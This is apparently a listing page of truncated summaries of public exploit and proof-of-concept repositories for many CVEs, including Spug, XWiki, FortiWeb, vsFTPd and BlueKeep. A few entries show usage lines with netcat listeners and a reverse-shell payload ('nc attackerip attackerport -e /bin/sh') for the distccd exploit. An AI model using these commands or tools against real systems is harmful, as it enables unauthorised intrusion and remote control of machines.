cisco-rv-rce-poc

CVE-2023-20048 — Cisco RV Series PoC & Exploit ⚠ WARNING: For authorized testing only. Do not use against systems you do not own or have written permission to test. This is a Proof of Concept for authorized testing only. What this is Small repository with: CiscoPoc.py — harmless PoC to check for...

CVE-2025-24367-PoC-Cacti

Cacti CVE-2025-24367 Authenticated RCE PoC This repository contains a proof‑of‑concept exploit for CVE‑2025‑24367 , an authenticated remote code execution vulnerability in Cacti. The issue abuses insufficient input sanitization in graph template handling. By injecting malicious content into the...

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2025-49132

CVE-2025-49132-POC I made this poc for my personal challenge inspired by 0xtensho Made for cleaner output and only for reverse shell Usage: root@kitploit: Change the host and the listener variable first python3 CVE-2025-49132POC.py Disclaimer LEGAL DISCLAIMER: This Proof of Concept PoC is for...

CVE-2021-36260

CVE-2021-36260 CVE-2021-36260 ./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check Safe and unsafe vulnerability/verify check: will only use 'unsafe check' if not verified with 'safe check' $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot Unsafe...

CVE-2026-90770

Spug through 3.4.0 contains a remote code execution vulnerability in the ping_check function (located in the monitor app). The root cause is that user-supplied monitor addresses are interpolated directly into shell commands without validation , allowing authenticated users with monitor permission...

CVE-2026-90770 Spug through 3.4.0 Remote Code Execution via ping_check

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

EUVD-2026-76991

Spug through 3.4.0 contains a remote code execution vulnerability in the pingcheck function that interpolates user-supplied monitor addresses directly into shell commands without validation. Authenticated users with monitor permissions can inject shell metacharacters via the /monitor/runtest/...

CVE-2020-15778

CVE-2020-15778 Introduction This repo reproduces CVE-2020-15778. Steps 1. Build the docker images for scp server and client root@kitploit: cd client docker build -t client-cve . root@kitploit: cd server docker build -t server-cve . 2. Spin up the scp server in container. root@kitploit: docker run...

distccd_rce_CVE-2004-2687

The goal of this script NOT to use Metasploit and to do it manually. Usage: root@kitploit: nc -lvnp 4466 Running the exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

nfsen-exploit

nfsen-exploit Exploit for CVE-2017-6971 remote command execution in nfsen 1.3.7. Tested on Ubuntu, probably works on everything Vulnerability discovered by Paul Taylor/Foregenix Ltd Usage: python exploit.py This generates a root-level shell on the remote machine...

samba-trans2open-exploit-report

Samba Trans2Open Exploit Report This repository contains a full technical walkthrough of exploiting the Samba Trans2Open vulnerability CVE-2003-0201 on a virtual Linux environment. The exploitation was done for educational and ethical hacking training purposes. Report Contents Network and service...

CVE-2025-56383

Уязвимость root@kitploit: Тип атаки: DLL Hijacking DLL劫持 Целевое приложение: Notepad++ Метод: Файл NppExport.dll загружается Notepad++ из рабочей директории Реализация Вредоносная DLL содержит: root@kitploit: Экспортируемые функции оригинальной библиотеки для обеспечения совместимости Reverse...

paint2die

Simplest and most reliable RichFaces Paint2DResource CVE-2018-12533 RF-14310 exploit Installation • Usage • Running Paint2Die Installation Instructions root@kitploit: git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt Usage...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki Unauthenticated RCE Exploit Affected XWiki Versions Versions 15.10.11 Versions 16.4.1 Versions 16.5.0RC1 Vulnerability Description Affected XWiki versions contain a Remote Code Execution vulnerability caused by unsafe Groovy expression handling in the SolrSearch macro...

CVE-2025-25257

CVE-2025-25257 Exploits for CVE-2025-25257 released by watchtowr and others I found on github did not work on my installations of fortiweb downloaded from the official vendor website. I ripped some of these exploit codes to make a poc capable to pop a reverse shell on my environment. IP address a...

xwiki_solrsearch-rce-exploit

solrsearch-rce-exploit Unauth RCE PoC for XWiki SolrSearch CVE-2025-24893. Command exec + reverse shell. CVE-2025-24893 – XWiki SolrSearch RCE PoC Proof-of-concept for the XWiki SolrSearch template injection leading to unauthenticated remote code execution. Tested against XWiki Debian 15.10.8...

vsFTP-2.3.4-Remote-Root-Shell-Exploit

vsFTP 2.3.4 Remote Root Shell Exploit A Simple Python Program that uses gets a Remote Root Shell on the Target Device by exploiting a Vulnerability CVE-2011-2523 present in vsFTP 2.3.4 Requirements Language Used = Python3 Modules/Packages used: socket os pexpect paramiko getpass datetime optparse...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell Reverse shell for CVE-2024-28397. Exploit works for js2py = v0.74 Requirements requests library pip install requests Python3 Netcat Or something that you can use as a listener for the reverse shell Usage For listener root@kitploit: nc -lnvp 4444 For exploit...

CVE-2019-0708-POC

CVE-2019-0708-POC Working proof of concept for CVE-2019-0708, spawns remote shell. Run with python3, Example python3 CVE-2019-0708-windows.py Different versions are required for linux and Windows. Obfuscated for obvious reasons...